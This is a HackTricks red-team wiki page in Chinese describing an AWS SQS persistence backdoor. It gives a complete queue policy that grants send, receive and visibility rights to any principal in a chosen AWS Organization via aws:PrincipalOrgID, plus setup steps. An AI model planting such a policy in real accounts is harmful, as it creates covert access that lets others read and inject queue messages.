AWS - SQS OrgID Policy Backdoor

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

滥用 SQS 队列资源策略,使用条件 aws:PrincipalOrgID,悄悄授予属于目标 AWS Organization 的任何主体 Send、Receive 和 ChangeMessageVisibility 权限。这样会创建一个以组织为范围的隐藏路径,通常可以规避仅检查显式账号或角色 ARNs 或 star principals 的控制。

Backdoor policy (attach to the SQS queue policy)

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OrgScopedBackdoor",
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:ReceiveMessage",
"sqs:SendMessage",
"sqs:ChangeMessageVisibility",
"sqs:GetQueueAttributes"
],
"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
"Condition": {
"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
}
}
]
}

步骤

  • 使用 AWS Organizations API 获取组织 ID。
  • 获取 SQS 队列 ARN,并设置队列策略(包括上述声明)。
  • 从属于该组织的任意主体,在该队列发送并接收消息以验证访问权限。

影响

  • 在指定的 AWS Organization 中,任何账户均可隐蔽地读取和写入 SQS 消息(组织范围访问)。

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks